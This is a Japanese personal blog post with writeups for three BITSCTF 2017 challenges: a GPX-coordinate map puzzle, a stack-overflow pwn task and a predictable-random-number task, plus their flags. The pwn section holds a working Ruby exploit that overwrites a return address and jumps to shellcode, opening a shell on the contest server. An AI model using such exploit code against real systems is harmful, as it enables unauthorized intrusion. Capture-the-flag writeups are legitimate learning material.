ブログの名前なんて適当で良いのでは

説明を求めるな、記事を読め

BITSCTF 2017のwriteupと感想

AlexCTFをやってて,存在に気づかず残り5時間の時に気づいて,チームの人に声をかけてからとき始めた.結果としてはチームで23位の470ptsで,そのうち70ptsを入れました. 感想をかけるほど何も思い入れがなかったので,解いた問題のwriteupを書きます.

Labour(Misc 20pts)

<?xml version="1.0" encoding="UTF-8" standalone="no" ?>
<gpx version="1.1" creator="BITSCTF" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.topografix.com/GPX/1/1" xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/1/gpx.xsd">

<!--Use appropriate brackets and underscores to separate words if you succeed-->
<wpt lat="23.71697" lon="89.45508">
<ele>12.1</ele>
<name>WP01-A</name>
</wpt>
<wpt lat="22.82885" lon="80.79786">
<name>WP02-B</name>
</wpt>
<wpt lat="39.88276" lon="58.81642">
<name>WP03-C</name>
</wpt>
<wpt lat="15.43674" lon="27.65039">
<name>WP04-D</name>
</wpt>
<wpt lat="12.69179" lon="17.50781">
<ele>288.7</ele>
<name>WP05-E</name>
</wpt>
<wpt lat="14.91081" lon="100.47656">
<ele>13.1</ele>
<name>WP06-F</name>
</wpt>
<wpt lat="45.9267" lon="2.21484">
<ele>557.9</ele>
<name>WP07-G</name>
</wpt>
<wpt lat="4.11852" lon="102.19922">
<ele>67.2</ele>
<name>WP08-H</name>
</wpt>
<wpt lat="34.85709" lon="65.84765">
<ele>3209.7</ele>
<name>WP09-I</name>
</wpt>
<wpt lat="28.89086" lon="68.30859">
<ele>116.9</ele>
<name>WP10-J</name>
</wpt>
<wpt lat="39.20502" lon="31.92187">
<ele>797.8</ele>
<name>WP11-K</name>
</wpt>
<wpt lat="47.24344" lon="19.8457">
<ele>93.5</ele>
<name>WP12-L</name>
</wpt>
<wpt lat="25.30828" lon="29.84765">
<ele>267</ele>
<name>WP13-M</name>
</wpt>
<wpt lat="18.97119" lon="-72.28521">
<ele>375</ele>
<name>WP14-N</name>
</wpt>
<wpt lat="-13.61609" lon="17.68359">
<ele>1510.9</ele>
<name>WP15-O</name>
</wpt>
<wpt lat="33.84122" lon="102.23438">
<ele>3426.2</ele>
<name>WP16-P</name>
</wpt>
<wpt lat="46.89624" lon="69.53907">
<ele>364.4</ele>
<name>WP17-Q</name>
</wpt>
</gpx>

上記のファイルを渡される.latとlonとあるので座標のことだと理解.しかしeleが知らなくてぐぐったりしていたが,ファイル名がDoSomethingWithThisなので,このファイルをどうにかすればいいんだろうなと思い,ぐぐるGoogle Map上にマッピングしてくれることに気づく.試しにマッピングしてみると,上記の点は順番に,

Bangladesh
India
Turkmenistan
Sudan
Chad
Thailand
France
Malaysia
Afghanistan
Pakistan
Turkey
Hungary
Egypt
Haiti
Angola
China
Kazakhstan

の都市を指していた.これを縦読みするとBITSCTFMAPTHEHACK,最後に,単語間に_や{}を入れてあげる.
BITSCTF{MAP_THE_HACK}

Command Line(Pwn 20pts)

あっちのブログに書くほどでもないので,こちらに書きます.
スタック上のアドレスを出力してくれる上に,ASLRがOFFと明記されているので,スタック上のアドレスを計算して,そこにシェルコードを配置して踏むだけ.

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'

host = 'localhost'
port = 8888

if(ARGV[0] == 'r')
  host = 'bitsctf.bits-quark.org'
  port = 1330
end

PwnTube.open(host, port) do |t|
  stack = t.recv_until("\n").to_i(16)
  puts "stack 0x%x" % stack
  payload = "A" * 24
  payload << [stack + 32].pack("Q")
  payload << PwnLib.shellcode_x86_64
  t.sendline(payload)

  t.shell
end

BITSCTF{b451c_57r416h7_f0rw4rd_5h3llc0d1n6}

Random_Game(Pwn 30pts)

srand((unsigned)time(NULL))rand() & 0xfの乱数を数回当てるとフラグ出力するという問題.都合があって詳しくは書きませんが,ちゃんと乱数値を予測可能です.

BITSCTF{54m3_533d_54m3_53qu3nc3}

感想

疲れた